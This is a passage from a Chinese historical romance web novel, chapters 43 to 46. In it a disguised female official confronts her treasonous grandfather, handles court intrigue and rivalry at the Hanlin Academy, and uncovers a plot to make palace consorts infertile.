他之前在朝堂上见过林疏影,可就是没像现在一般察觉出不对来。
这模样,与明心一般啊。
他心里盘算起来这人的身份,姓林,与那穷酸的小子一个姓,难不成...
不对,明心确
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实育有一个孩子,但那明明是个女孩。
思及此,他又仔细打量起来眼前的人。
与谢寅站在一块,林疏影不管是身量还是其他的,都显得格外娇小。
难不成...
想到可能的结果,赵怀庆猛地低下头,额头上的汗珠慢慢滚落。
早知道有今日,他不该手下留情,不该优柔寡断,以为一个刚及笄地女子掀不起什么风浪来。
想不到啊,明心倒是给他准备了一份惊喜呢。
“赵大人难不成是心虚了?”
林疏影看着这人的动作,不免疑惑,难不成是察觉自己所作之事丧尽天良,临死之前悔恨了?
若是这样也好,带着悔恨下地狱,也好。
忽然,一阵嘶哑的笑声响起来,打断了林疏影的思路,她看着跟前不远处笑得发抖的人。
“真是可笑,我赵家的人真是琢磨了一手好牌啊。”
赵怀庆回想着这些日子的事,自从林疏影科举入朝,她这一路目的已经很明显了。
他竟然现在才发现。
前些日子她与谢寅的传闻恐怕是真的吧,傍上了谢家来与他作对么。
真是好心机。
他就说自己的女儿怎么会甘心嫁给一个乡野匹夫,原来是为了现在,明心教给了这孩子不少东西吧。
这次他认栽,是他心软,是他没赶尽杀绝才招致今日的祸端。
林疏影本以为这人会有一丝悔恨,但现在看来,她还是太天真了。
“我只问你一句,赵怀庆,为什么连你自己的亲生女儿都要毒害。”
此话一出,一旁跪着的赵明池炸了锅。
“林大人,你说什么!?我妹妹的死...”
他从小资质愚钝,不被爹看重,他也从未怨过。
那时,京城里都传赵家女儿聪慧伶俐,颇有才女之风,父亲重视妹妹,甚至亲自教导,他没怨过。
京城也有言赵家男儿蠢笨无能,只懂得蛮力,与妹妹相距十万八千里,因而被父亲轻待,被有心之人比较,他也没怨过。
才华他敌不过妹妹,他不觉得有什么,那些传言他也不在乎。
他看着妹妹长大的,二人感情甚好,小时候,妹妹便会把父亲赏的好东西分给他,而他也经常外出带零嘴给妹妹,哪怕是当时妹妹痴心林行牧,也是他再三劝说父亲。
此时,赵家已经水深火热,谢寅敢带着禁军围住赵家,应该是人证物证俱在。
再结合赵怀的反应,这一切大抵是真的了。
谋反可是牵连整个赵家的。
他的父亲怎会做出这么糊涂的事情!
还有明心之死,竟也出自父亲之手么。
他愚钝了这么些年,最后连自己的妹妹都没能保住,连自己的妻儿都要跟着受罚。
他不配为男儿,也做不了顶天立地。
赵明池嗤笑两声,没了后话,这一切明了了,他总算是清明了一次,也许是最后一次了。
这一切都太晚了。
“你问我为什么,能有为什么,我养育她这么多年,最后跟姓林的跑了,浪费我多年心血不说,最后还要拿陈家旧案来求我,让我来查明当年的真相,当年的真相是什么,你们不清楚么,一个人还是整个家族我还是拎得清的。”
赵怀庆终于说出来。
林疏影听着,心里一阵疼,这就是恶人,这就是她的祖父。
高承说得不错,赵怀庆这人什么都做得出来。
怪不得,母亲明明与父亲感情不和还要在一起,就是为了逃离这赵家,为了逃离一手栽培她的父亲。
怪不得,母亲从不向她提起赵家,从不向她提起祖父。
她后退两步,身形有些不稳,向后倒去。
想象中的疼痛并没有袭来,而是落入了一个温暖的怀抱。
是谢寅。
43. 第 43 章
林疏影稳住身形,她看着扶着自己的修长的手,心下一暖,但又觉得不该,又狠心打掉了那只手。
这一切动作又被赵怀庆看在眼里,他眼神忽明忽暗,让人琢磨不透。
有了这谋反的罪名,赵家也许再没翻身机会了。
但也不一定呢。
赵怀庆一脸黑蒙蒙的,此时,扯出一抹意味不明的笑来,颇为瘆人。
林疏影挣脱了谢寅的怀抱,她也不愿再看见这一整个院子的人,赵怀庆这的野心不知道会有多少无辜被牵连的人。
她向谢寅行礼,也不再阻碍他抓人。
“多谢大人,若是没有你,恐怕我连脚跟都站不稳。”
“嘁,知道就行。”
谢寅看着自己被打掉的手,皱眉道。
真感谢,就应该给他点实际的东西,而不是这些虚伪的。
怎的自己就偏偏看上了这人了。
谢寅摆手,放走了林疏影,竟开始怀疑起自己来。
现在刑部尚书与侍郎接连被抓,还是得先禀明圣上,再看要如何打算。
人证物证聚俱在,不过是谁主持这案件的问题了。
次日早朝。
林疏影有些意外,她竟然也能上早朝了。
她看着不远处的红墙,心下生出些感慨,之前入宫殿试,也是这抹红墙吸引着她对未来的幻想。
但是经历了这么多时日后,她如愿升官,一步步成为皇上眼前的红人,甚至被派去教导公主,再看这红墙,只觉得少了些许威严,多了几分无奈。
红墙与高墙没什么区别,这里面所困住的除却妃嫔,还有不知多少满是野心的人。
但觊觎自己不该拥有的东西,势必会拉着身边最亲近的人陪葬。
思及此,林疏影不禁叹气,加快了些脚步。
此来,谢寅要与她避嫌,故而两人并未一起走。
不过,这也是林疏影喜闻乐见的,她现在要做的大概就是一步步走出谢寅的庇护,一步一步成为别人的庇护,得到皇帝的青睐。
说不定,到那时,她就有气魄接受少年的一腔爱意,不再逃避了。
不过,恐怕要等上许多年,谢家恐怕也早就为谢寅寻到了良缘,时光会消磨少年的爱么。
林疏影不禁自嘲,就算这一切都是按照她设想的那般,也是在她的身份不被发现的基础上,光是这一条,她恐怕就瞒不了多久。
谢寅可以看透她,那也就有别人,现在她要做的就是完成当下的事情了,不要再想将来如何了。
她与谢寅或许是有缘无分吧。
林疏影走到了太和殿外候着,她这次帮魏大人查案,整理卷宗,也是有一份功劳的。
趁着等候的时间,她还好生打量了一下自己的官服,观察着上面的纹路。
殿内福公公的声音穿过层层官员,直接到殿外的人耳里,“宣林疏影林侍读觐见。”
林疏影正了正衣冠,深吸一口气,迈入了她没去过几次的大殿。
这次再进去,恐怕又会招惹些士族的仇恨来。
若是再发生那日赵家刺杀她的事来,她自己一个人哪里应付得过来。
她离不开谢寅的庇护,却又不停地伤他的心。
怎么看,自己都是个不识好歹,狼心狗肺的小人。
“这次魏卿与谢寅和林侍读三人一起侦破了先帝以来的一桩大案,朕甚是欣喜。”
李昭朔于高位上俯视着下面的一切,将所有人的动作尽收眼底。
兵部尚书孙齐黎附和道,“皇上圣明,如此下去,先帝未竞的事业一定可以一一完成,我大夏中兴也不远了。”
“只是,皇上您不知,这赵怀庆在职期间中饱私囊,接受贿赂的事情屡见不鲜,不少案件都因此搁置,甚至黑白颠倒,此人甚是狂妄,现在终于出了这档子事,总算是给了世人一个看清这畜生的嘴脸。”
他继续说道。
平日里两人关系算是不错,但是赵家一倒台,他便观察了朝中风向,意图再找些“志同道合”的结党。
或是提拔自己的人入职刑部的两个高位。
这是最好的时机。
“孙大人说的话在理,未免夸大了些,若是在天子脚下这人就如此大胆,那我大夏百姓岂不认为是皇上无能,管理不好吗?”
魏丰华上前反驳道。
他说的在理,不少人附议,也有不少人窃窃私语,传孙齐黎和赵怀庆之间的关系本就非同寻常,出了这档子事就着急抹除干净,真是大难临头各自飞。
孙齐黎自然将这一切都尽数听了去,他脸上有些挂不住。
这些人鄙夷的人里面可有不少拿了他的银子的,竟然是这般不顾“情面”。
他心里盘算着如何一个个剔除这些吃里扒外的东西。
“皇上息怒,是微臣言重了,只是这刑部空出来了这么重要的位子,他赵家该由谁来审问,况且赵家盘踞京城数年,不臣之心早在二十年前就已经昭明于天下,还是得需要好生调查一番。”
“朕正有此意,不如就让魏大人去审问,劳烦谢寅去查封赵家的铺子了,之于其他的...”
“老臣愿意整理赵家的赃物,为陛下出一份力。”
陆德静赶忙站出来,揽这份工。
赵家与其他士族之间藕断丝连,这差事又是个到处得罪的苦差事,交给谁都不妥当。
要不就是入朝时间太短,没什么权力的林疏影,要么就是与赵家曾共享利益的几家士族。
林疏影年纪太小,官位有些低,不能服众是小事,就怕任人欺侮,这查赵家一事也不顺,若是被士族抓住了什么把柄,最后还得损失了这么个人才,他好不容易找到了这么个与自己有一般气魄的后辈,可不能再被士族害了。
士族唯利是图,一旦牵连到自己,都是想尽办法消灭证据,这样,查完呈上来的赵家所为恐怕要少一半,内容也真假参半。
他不放心,皇帝自然也是想到了这一点。
正好顺了皇帝的心思,将士族再狠狠敲打一遍。
“陆大人,你掌管吏部,日夜操劳,须发已尽白,再担上这事,恐怕身体吃不消吧。”
孙齐黎自然是不喜的,他本来要安插自己的人,结果被这老书生占了去。
这人可是出了名的仇恨士族,若是这差事落到他手里,他们这些人一分钱捞不到不说,还要被抓住把柄。
皇帝早就起了除去他们这些士族的念头,赵家两代都在刑部任职,还不是被皇上扒下来了,不知道什么时候就查到他们头上了。
露出一点破绽都有可能葬送一整个家族和数年来累积的家产。
他若是
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再不做出什么举动来,就要等着被宰割了。
“不劳孙尚书费心,老臣虽老,但仍似廉颇一般尚能吃大几碗的饭,尚且能为皇上效命。”
陆德静此话一出,所有人都心知肚明。
廉颇是赵国老将,被郭开构陷年迈无能,最后导致名将被冷落在楚国郁郁而终。
“就让陆尚书去吧,兵部近日公务繁忙,怕也抽调不出人手,孙尚书为大夏做的众爱卿有目共睹,便不必再纠结了。”
皇帝巧妙地转移了话题,也再没给孙齐黎插话的机会。
他下定了决心,要将这士族铲除殆尽,不过是时间问题。
此时还是要维持好表面的平静,万不能打草惊蛇,若是被这毒蛇反咬一口,依照大夏的状况,是要深入骨髓的。
“林侍读将公主教导地很好,同时也为旧案整理了不少卷宗,朕觉察你有可造之才,往后对于公务,还是要继续尽心尽力啊。”
皇帝终于注意到了一旁角落里的林疏影。
而林疏影则刚观察完一场大战,正消化着刚才接收到的庞大的信息量。
突然被皇帝提及,不免有些受宠若惊。
“是皇上给了微臣教导公主的机会,公主本来就聪慧非常,臣只是将那些书本上的告诉公主罢了。”
林疏影极其谦虚,朝堂之上,若是再锋芒毕露,被士族盯上不说,还会让皇帝起猜忌,实在不划算。
她拿捏着分寸,谨慎地回答。
“哈哈哈,林状元不要再谦虚了,朕看过你的策论,让你去教导那丫头是委屈你了,此次旧案一事又有你诸多助力,若是朕再不赏赐你些东西,底下的百姓可得要说朕小气、苛待你了。”
皇帝这一番话极其有深意。
林疏影自然听明白了,不过是她年纪还小,资历欠缺,升官一事不要着急,也别想着通过这些事讨要官职来,但该有的金银赏赐必然是少不了。
好一番敲打,既让她看清楚自己的位置,又给她了不少好处和虚名。
若是一般人,自然是直接磕头领赏,对于李昭朔的赏识感激不尽。
但林疏影听出了话里的话,自然也就不是一般人。
况且,她那里帮上公主忙了,不过是让她学了些可能用不到的东西罢了。
公主和亲,远赴突厥,手足之亲尚且不顾,林疏影实在感叹皇家的手腕和心性。
只是,她所做不是为了金银珠宝,不是为了加官进爵,而是勉强自由地活着,为百姓安宁出一分绵薄的力气罢了。
“多谢陛下赏识,只是疏影并不想要金银珠宝,若是可以,将这些赏赐给工部,让他们好生修整京城的水道,以防洪灾再临。”
一来一回,林疏影不紧不慢,她诚心诚意。
别人也挑不出什么毛病来。
皇帝只得咳嗽两声,随了她的愿,也多看了底下叩首的人。
其实,林疏影就算要了,也不过是在小院里堆着,或者再置办一座宅院,但这一切又能陪她多久。
她的身份永远是悬在头上的一把锋利的刀,随时都有落下的可能。
大夏对于女子的限制太多了,对女子的要求太多了,对女子的管束太多了。
一国公主尚且不能随心所欲,还要牺牲自己的一辈子来维护大夏的安全,而她又能好到哪去。
44. 第 44 章
下了早朝,谢寅要忙差事,但还是抽出空来跟林疏影说了两句话,“陈家之事,你不必过于纠结,如今你心愿已了,之后...有何打算。”
他试探着林疏影的想法。
若是这人累了,不想在官场了,他大可以给她一个女子身份,一个安身之所。
这一切只要那人点头他都可以奉上。
得了谢寅的关心,她是开心的,这世间能有一个未有亲缘关系的人对她这般好,她已经很知足了。
只是,她还想在官场立足,终究得顾忌着身份,还是早点和这个人划开界限的好。
“我想做好这个位置,大人不必过于牵挂,疏影想搬出院子,少与大人接触。”
闻言,谢寅气不打一处来,若不是身后有众多官员,他早就拿着这人的手腕来质问了。
怎的就这么固执,说什么也不听,怎的就这么不领情,给什么都不要!
两人又走了几步,谢寅压下心下的怒意,仔细琢磨了一下这话。
难不成...
“你这些天来百般不愿我亲近你,给你东西,是不是觉得你的身份总有一天会暴露不想牵连我。”
他微微转过头,盯着林疏影的脸,一点表情也不错过。
果然,是这样。
相处这些日子,他还是能分辨出来林疏影的一些情绪的。
抿起嘴来,欲言又止的样子更加证实了谢寅心中的想法。
“你以为,我没想过这个吗,你以为你很聪明吗,你以为我帮你瞒着身份不告诉师父是为了什么。”
这个人怎的就这么爱自作主张。
他说什么了?
就这样给他做出决定,就这么不顾他的意愿将他往外推。
林疏影皱眉转过头,仰着看那人。
却迎上一抹红晕的眼。
那一刻,她有些心疼,她知道自己太过“霸道”了。
但是这样做,不是为了她们两个人好吗?
“谢大人说笑了,你会有良配的。”
她哑声说出来这句话,随后便错过那双眼,转而低头看脚底下的路了。
一次一次地说这些话,林疏影每次都觉得自己会是最后一次说,会把眼前的人吓走。
但谢寅不顾她口是心非的话,一步步逼近她,现在甚至猜想出来她所作的原因。
或许她一辈子都不会再遇到对自己这么好的人了,但...
她不想连累谢寅。
“哼,林疏影你好样的,若我当真不喜欢你,又会为你做那么多事?这难不成还不够显示我的诚意吗?”
眼泪在眼眶里打转,林疏影要紧嘴唇,猛地加快了脚步。
在眼泪掉下来之前,越过了谢寅。
她心里只有逃跑,只有逃避。
谢寅看着那人的背影,还是停下了脚步,狠狠的攥着拳头,这个人又倔又蠢又瞎。
他站在原地怔愣许久,最后,缓缓送来手,将手展开放到眼前,看着上面的痕迹良久,嗤笑一声。
早上的阳光算是温和,也不甚刺眼,那只手在光晕里呆愣许久。
待到痕迹落去,他回过神来,又看了一眼那人逃跑的方向,甩甩袖子,走了。
林疏影今日要去翰林院再寻个差事。
她匆匆几步逃离现场之后,便去翰林院复命了。
看着大牌匾,她若有所思。
状元及第时,她就该来这儿不成想庆阳剿匪、教授公主,两件事紧锣密鼓。
她迈过门槛,想起上次来这里还是为了公主。
看着眼前熟悉的布置和书卷,她轻轻叹了口气,不知公主现在好不好。
如果公主只是寻常人家的女孩儿,或许不会享受这些顶好的待遇,但会是明媚开朗的女孩儿,或许还会有一门自己满意的婚事。
但没有如果。
掐灭自己心中的想法,她循着熟悉的路找到了齐大人。
还是先问一下自己要作什么吧。
“齐大人,不知我要整理些什么。”
她中规中矩地行礼,周围不少人投来审视的目光,她也不在乎。
这也不是什么隐晦见不得人的事,她行得正坐得直。
闻言,齐怜爱生放下书卷,抬眼看着来人。
他有些好奇,这人在皇上跟前这么久,不知道还能不能平心静气地整理这些繁杂的东西。
“你去找秦礼,他与你同职,你先跟着他校勘史书吧。”
林疏影听见了吩咐,告退,找了几人打听了此人,便去找了。
榜眼曹清尘是曹家独子,自小天资聪颖,对这次殿试的状元本有八九分把握,但被随便蹦出来的一个人截了胡。
他本没把这人放在心上,不过是没什么背景的穷酸书生,读死了书才抢了他的状元。
当他在太和殿上听闻了林疏影还凭着状元的殊荣去剿匪,那时候他有些嫉妒,但是情绪下去之后才觉得这人是真蠢。
谢寅哪里是好相处的人,况且,土匪杀人不眨眼,没准这个新科状元就死在了土匪刀下,这样也省了他费心思除去这个障碍了。
若是这人不愿去,那就是驳了皇帝的面子,定然会失了帝心,也不足为惧。
这人不管是去了还是不去,结果都是一样的。
没成想,人好好回来了不说,还立了大功,被提拔了一级,甚至可以亲自教授公主。
眼看两人的差距越来越大,曹清尘心里何尝不嫉妒。
若是没有这个搅局的人,这状元他唾手可得。
而林疏影所获得的功绩也都应该是他的!
看着不远处的人,他心里暗暗较劲,只要林疏影在这翰林院一天,他绝对不会让这人好过。
他手里还拿着书卷,站在原地,看着林疏影的眼里淬满了毒。
“曹兄,愣着做什么,快些开始整理吧,不然要整不完了。”
范凑与这二人是同科进士,与林疏影不同的是,他很透明,得不到皇帝的青睐,与曹清尘不同的是,他没什么背景,没有家族支撑。
但好在他有了月银,起码能养活自己了。
就算比不上这两人,也没什么,他这样的人能有个好差事,已经很满足了。
他拍着愣在原地的人,顺着那人满是恨意的目光看到了不远处的林疏影。
心下便明了了许多。
没办法,他也很羡慕林兄,短时间内就已经升到了侍读。
不过都是用命换回来的。
见这人还是不肯收回心思,他只得再提醒一遍,“曹兄?你若是再这样,可真就要挑灯了。”
“不用你管。”
曹清尘一把拍下那只落在自己肩膀上的手。
心里不禁鄙夷,这个废物,读书没他好,现在倒是教训起他来了。
真是不知道自己几斤几两。
范凑摇摇头,他是看在与这人一起共事的情面上提醒,却被人当作驴肝肺,那有什么办法。
不过就算是士族公子,不还是与他一起作编修吗。
士族这些人不管如何,一个顶一个地心比天高。
他心里不屑的,但终究惹不起这尊大佛,走开去整理自己管理的一部分史书文献了。
林疏影全然不知这一些列的暗流汹涌,此时她正唯秦礼是从。
没办法,她从前甚少接触这些,校验一事还得从头来学。
秦礼有自己的活,但还要抽出空来给她讲解,她很感激,于是乎,她学的很快。
她慢慢地着手,在“师父”的监督下,算是靠自己完成了一页。<
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p>放下手中的笔,活动着有些酸痛的手腕,她向后一靠,没任何礼数。
秦礼见着也没多说什么。
他看着不远处的烛灯,便也放下了笔,坐下休整一番。
年纪上来了,就是这样,不必年轻的时候了。
“秦大人,还没请教过您,您今年多大了?”
“我啊,而立之年,但是没你的好命啊。”
秦礼垂下眼,他曾经一腔志气,在翰林院足足有十年,年轻时的志气如今已经消磨殆尽了。
而立之年,他倒是能坦然地说出自己曾经了。
“哪里,我不过是命大,秦大人十年如一日地整理这些才真是让在下佩服。”
隐隐作痛的头和酸涩的眼已经让林疏影初次意识到了这项工作的杀伤力。
她打心底里佩服这位前辈。
但也不曾畏惧这份得来不易的公务。
“哈哈哈,你这小子,好好做吧,我倒是好奇你能坚持多久。”
受了林疏影的恭维,他是有些意外的。
自己虽然与林疏影同职,但他是皇上身边的红人,两人之间自然有无形的阻隔。
而齐大人还将林疏影调过来,让自己来教导他。
若是这人眼高手低,自然是看不上自己这样穷尽十年都没能得到皇帝青睐的人,而他必然是要难做一番。
想象中的情景并未发生,他心里的石头落了地。
只要林疏影不与那曹某人一样难相处,一切都好说。
休息片刻,林疏影重整旗鼓,继续校验。
终于等到外面的太阳落下,林疏影伸了懒腰,打着哈欠,往外走。
终于能歇会儿了。
但她脑海里猛然浮现谢寅那张脸,脚下动作慢了半步。
她要如何面对这人呢。
正思索间,前路被人堵住,林疏影看着眼前人眼熟,却是认不出到底是谁。
她才到这翰林院,还未站稳脚跟,不认识眼前人是情有可原。
但看这人穿着,该是编修。
“你就是林疏影?”
曹清尘早就想试探这人虚实,奈何此人一直与秦大人共事,他找不到机会。
眼下,大家走得走,散的散,正好来试探一番。
“是,不知你是...”
这人来势汹汹,不怀好意,她自然心里有了防备。
与她同科的榜眼和探花应是任了编修一职。
眼前这人骨子里都是桀骜,身上的点缀足以见得此人身份不凡。
那必定是曹家的独子曹清尘了。
“哼,我乃曹家独子,你可知我姐姐是何人?”
“不知。”
林疏影面上恭顺,但心里却是明了此人前来是为向她耀武扬威的。
一上来就这么着急把自己的姐姐搬出来。
生怕别人不知道他想要仗势欺人?还是生怕别人不知道曹家的势力。
“哼,乡野匹夫,我姐姐是当今皇后,而曹家也是你一辈子攀不上的高枝。”
曹清尘话里话外都在嘲讽林疏影身份低贱。
他就是要让眼前这个人知道,他二人之间的差距,就是要让这人知难而退,将所有的机会都留给他。
“疏影并没有这样的心思,疏影只想校验好史书,为皇上分忧罢了。”
林疏影后退一步,规规矩矩地道别,绕过眼前的人径直走了。
既然这人想让他知难而退,那她偏不,拿曹家来威胁她,真是蠢。
也不看看,现在朝堂上的局势是什么,也不怕被有心之人听见,让圣上再对士族多几分猜忌。
“林疏影!”
任凭曹某人如何呼喊,林疏影全当作没听见,没再回头。
“你给我等着!”
45. 第 45 章
谢寅忙着查封赵家底下的商铺等一些列明面上和暗地里的家产,没时间与林疏影相见片刻。
虽然自己一个人在这偌大的院子,心里空落落的,但她心里还有一丝庆幸。
不然,再相见,又该如何呢,她不知道对那人要说多伤人的话。
次日一早,林疏影收拾好,她猛然想起自己还有东西落在文华殿。
看着时辰,还早,便想先去文华殿取东西,再去翰林院。
她赶着路程终于到了文华殿,看着大殿的模样。
这一切都变了,又好像都没变。
公主在时,这里尚且多些明媚,多些欢笑,如今只剩下死板的宫殿和落下了一层灰尘的桌椅。
物是人非也不过如此了。
她迈步走进未有烛灯的屋子,紧闭的门窗不放进来一点光亮,有种莫名的被黑暗包围的窒息感。
林疏影不敢看周围,她勉强摸到了东西,便匆匆出门。
好容易到了屋外,她看着手里刚拿到的东西,思绪又开始飘忽起来。
思念不可抑制地喷涌之时,她猛得闭上眼睛,强行打断,不敢再去想。
突厥是什么地方,公主到了那里又能有什么好的?
她摇头正想着走出东华门,却看见一人鬼鬼祟祟地走进文华殿不远处的太医院。
林疏影仔细看着那人的身形,良久认出来。
齐怜生?
他来这里做什么!?
林疏影心下生疑,见那人没发现自己,便也悄悄跟上去。
她倒要看看这个端正儒雅的大学士是不是道貌岸然的伪君子。
齐怜生偷摸进了太医院,直奔抓药的桌案,他小心地捏起刚配好的药材就放在鼻下闻,那药材也看不出任何被动过的痕迹。
林疏影随后跟上,她虽然武功不行,但遇到一点儿拳脚功夫也不会的还是能把自己隐藏地比较好的。
骗过齐怜生的感官,她看见那人抓着药材。
脑海里突然闪过公主对她说的话来。
后宫妃嫔一直都未有身孕,但皇帝身子硬朗,着实奇怪。
她们又都喝一种补药,难免不让人怀疑。
难不成这齐怜生齐大人也知晓了此事?
后宫之事,他怎会知道。
而后,一阵说话的声音打断了两人的动作和思绪。
齐怜生下意思回头望。
林疏影眼疾手快,直接上前,堵住了那人的嘴。
后面的脚步生徐徐逼近,林疏影观察着周围,终于找到了容身之所。
便拖着与自己差不多高的齐大人一起躲到了一边的桌子底下。
齐怜生挣脱林疏影的手,他刚想问话,却被说话声打断。
林疏影耳朵一动,察觉到有人进来,早一步示意那人闭嘴。
她的眼神带了几分警告。
别过齐大人的眼之后,她才想起来,这人的职位比自己高,自己好像不能随意指使。
她闭着眼摇摇头,最终还是睁开眼,换上一副笑容来,看着齐怜生。
那人似乎并不领情。
“宫里娘娘们的药都抓好了?”
苏陈正问道。
他本在民间治病,结果治疗方式较高明,得此声名远扬,被当今太医院院使抓来宫里了。
宫里勾心斗角不少,他不喜欢,但几次都向院使提起都被驳了。
到现在,他近乎有些认命了,既然出不去,就在这里待一天是一天。
故而,宫里没什么疑难杂症,是请不到他的。
说来也怪,宫里的人都想着做好自己的差事,最好有主子赏赐些好的东西,让自己的日子也过得好些,光彩些。
这人偏偏不爱这些,只爱书本上的各种名医医方,日日研究不说,就连平日里的诊治也叫不上来。
就算是点名要此人诊治,也大都被他推给了张映——太医院的另一位御医。
“好了,就差煎煮了。”
回话的是医士杜周,无家世无背景,只有一腔对于医术的热爱,竞争过许多人才当上了这一职位,只差考核,他就能当上御医了。
如今,他资历尚浅,太医院人手不够,考核一事迟迟不提,他仍旧要做些杂务。
炮制、抓药、蒸煮、煎煮等等都是他的活计。
好在他本就出身不好,不然没人能受得了一直被使唤做这些事。
“你看着来,这些药物是助各位娘娘调理身子的,不能出半点差错。”
苏陈正吩咐完,得了回应,便不再留恋,转身离开。
林疏影听着两人的话,有了些头绪,刚才桌案上的药物应该就是公主说的汤药了。
但到底是谁弄来这药的?
如果她的猜想是真的,那么这人的爪牙已经渗透到了太医院了?
就是谁在天子脚下,做些肮脏龌龊之事。
一切皆是她的猜想,还需要查清楚这药到底是不是导致女人不孕的。
林疏影回过神来,她看见齐怜生手里捏着的东西。
对了,齐大人不是精通医术?
他会鬼鬼祟祟来这里,应不是与这里的人相熟,来找熟人的。
那会不会背后之人就是他?
林疏影皱起眉头来,不是没有可能。
但这太医院的所有人也都有嫌疑。
她试探性地用手指指着齐怜生的手。
那人也意识到什么,冲她摇摇头,随后摊开自己的手掌心,将里面的药物递到林疏影面前。
林疏影不懂这些,她哪里能分辨出来是什么药物。
好在齐大人也发现了这个,便用另一只手在地上借着灰尘来写字。
【确是调养身体的药物】
林疏影顺着那人的手指看过去,一行字就这么显现出来。
看来,齐大人应该没什么问题,毕竟真君子不会用那么下三滥的手段。
但既然是调养身体的药物,为什么后宫妃嫔还是...
难不成,问题出现在煎药的人里?
林疏影挪动着有些麻木的身体,空出一点地方来,她用手指写道。
【煎药人有问题?】
齐怜生点点头。
此时此刻,两人也没空询问对方为何会知晓这件事情了。
林疏影小心地把头探出去,但只能看见那人的身子,手里的动作被桌案挡住了。
她换了几个角度都没能看到。
【想法子赶紧出去】
齐怜生的话倒是拉回来林疏影的思绪。
她光想着玄乎的汤药一事了。
是了,太医院的人只会越来越多,没准院使也会来,到那时候,就更出不去了。
但她也没什么好法子。
两人相对无言,都泄了气。
随后,那煎煮药物的人肚子响起一阵声音,没多久便匆匆捂着肚子去了净房,连正在煎煮的药物也不顾了。
竟然有这种好事,林疏影悄摸探出身子,观察屋子里没人之后,便知会仍旧窝居在桌子底下那人。
她冲爬出来的人示意正在煎煮的药。
只有这个人能分辨这些有药香但是入嘴即苦的药了。
二人还算默契,林疏影在一旁放哨,齐怜生放好刚才抓来的药材,走进还未预热的瓦罐。
他看着一边的药才,抓起来放在鼻下闻着,与刚才的没什么不同。
随后冲一旁的林疏影摇摇头。
林疏影不禁纳闷,难不成是煎煮好后另加的药粉?
思索间,看见齐大人拿起浮在水面上的药材端详良久。
只见那人掰下一小段放好,便站起身来。
果然,是那煎煮药物之人耍的手段。
俩人快步走出去。
没成想在东华门口见了那刚跑去净房的药童。
“二位大人来这里是有什么事吗,可是要找御医?”
杜周看这俩人身上的灰尘,毕恭毕敬地行礼。
药材之事不能出任何差池,不然主子可不会绕过他。
他刻意拦住这俩人,甚至还偷摸打量着两人的袖口。
没看出什么破绽后,才慢慢移开视线,暗自松了一口气。
“你是?”
林疏影不紧不慢问道。
这个人打量的眼神让她极其不舒服。
如果他是主动投药的人,那必定还有个人指使,不然小小官职图谋毁了大夏根基?
“在下是太医院的医士杜周。”
杜周听出来那话音里带着明显的压迫,便把不安分的目光收回来,如实答道。
不过是仗着职位高些,就要这么耀武扬威。
他心里自然不服气的,若不是他没什么家世背景,何苦到现在还被人指使,被人随意欺压。
心里窝着一团不知名的火气,面上确是非
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常和气。
“我与这位大人来此,是为取落在文华殿的东西的,如今东西也拿了,用不到你,你去忙吧。”
林疏影并未把话说清楚。
若是她与一个药童交代许多,不更让人生疑。
随后两人便走了。
谁人不知公主的恩师是林疏影,那位短时间内拿着功绩换取职位晋升的林状元。
而在杜周这里的名头更是响亮。
他们二人都是无权无势,怎的就那人获得了好机会,能得皇帝青睐,而他只能在这里做事?
林疏影只当那人是怀疑他二人对那汤药起了疑,没成想是自己的职位招来的妒忌。
“齐大人如何知晓这件事的?”
二人走远后,林疏影才开口问出来。
齐怜生在翰林院待的世间不比秦大人长,资历更是不用说,但偏偏是他坐了翰林院的最高职位。
现在又平白知晓后宫之事,难免不让人怀疑了。
“那你又为何知晓我懂医术?”
此话一出,换成林疏影无言以对了。
“是公主告诉你的吧。”
齐怜生倒是不避讳,直接说出来了。
见林疏影没话,他也就没再继续说,转换了话题,“这个药物确实是导致女子不孕的。”
说罢,他便将藏在袖子里的东西拿出来,递给身旁的人。
林疏影拿过来,装模作样地闻了两下,还了回去。
“这味药单独用不会有什么,但若是和刚才调理的药物混作一块,极伤妇人身体。”
“难道那些娘娘们感觉不到此药的作用吗?”
这药既然伤身体,也必然会引起身体的不适,但为何宫里没人出事呢?
“这就是此药的高明之处了,短时间内服用没什么效果,但若是经年累月地服用,身体会一步步变差,这其中的变化微乎其微,类似于温水煮青蛙吧,况且,随着年龄的增长,她们也只会以为是自己的身子出了问题,反而会更加依赖这所谓的补药。”
齐怜生分析道。
林疏影听罢,便察觉出来一个关键的问题——蓄谋已久。
“你可知娘娘们喝这药有多久了?”
她只从公主口里得知,但不知此药在何时出现。
但依照公主与后宫嫔妃的关系,必定没什么宫宴,也见不上几次面。
况且,又是无意撞见的“喝药”。
那这药的出现时间可能得往前说了。
“不知,我偶然看见那杜周鬼鬼祟祟地与宫外人接触,才生了疑心。”
齐怜生没想隐瞒,便借此说出来与此药的契机。
林疏影皱眉,回想着刚才齐大人的话,察觉出不对来。
如果后宫的娘娘们都喝这种药,那必然会出现一样的症状,但是为什么没人提出来。
就算是认为自己身体有问题,这种普遍的问题还不能让人生疑吗?
“还是先把这些告诉陆大人吧,看看他如何说。”
林疏影心头的疑惑萦绕不去,想起了谢寅曾屡次提及的人。
谢寅,她是不能找了。
但陆大人,也不会将此事置之不理。
直接向陛下反应这件事比他们更可靠些。
“你与陆大人相熟?”
齐怜生有些意外,这人虽然借着状元的名挣得了不少功绩,但毕竟为官时间短,资历摆在那里。
林疏影没回话,只是拿起挂在腰间玉佩冲那人摆了两下。
齐怜生还纳闷,如此精美的东西会出现在这个穷书生身上?
又想着前话,大抵是陆大人给她的信物罢。
此人当真与陆大人相熟?
“对了,齐大人,咱们直接去户部找陆大人可好?”
林疏影刚想起来,她不是没什么职务的闲散人了。
如今她在翰林院任职,身边还是翰林院的一把手...
她已经做好了被训的准备,没成想是轻飘飘的一句“好”。
好吧,这样正如她所愿。
俩人去了户部,正巧碰上谢寅从陆德静那出来。
好巧不巧,林疏影一见那熟悉的身影,便想着躲起来,她试图让齐大人遮住自己的身形,但终究是徒劳。
“怎的林大人今日这么清闲,来找陆大人叙旧吗?”
谢寅倒是一点儿也不给林疏影机会,直接把这人逮出来。
46. 第 46 章
“我,我有要事禀报陆大人。”
林疏影只得站出来,结结巴巴地回道。
她担心了许久,还是战战兢兢地抬眼看向那人的眼睛,谁知道那人根本给给她一个眼神。
谢寅的眼神近乎极其不友好地审视着齐大人。
“翰林院的大学士齐大人,不是一向不喜欢我们这些人么,怎的也来了。”
谢寅勉强勾起嘴角,似笑未笑,摆出一副不欢迎的模样来。
他倒是很意外,林疏影刚才竟然与这个人那般亲密。
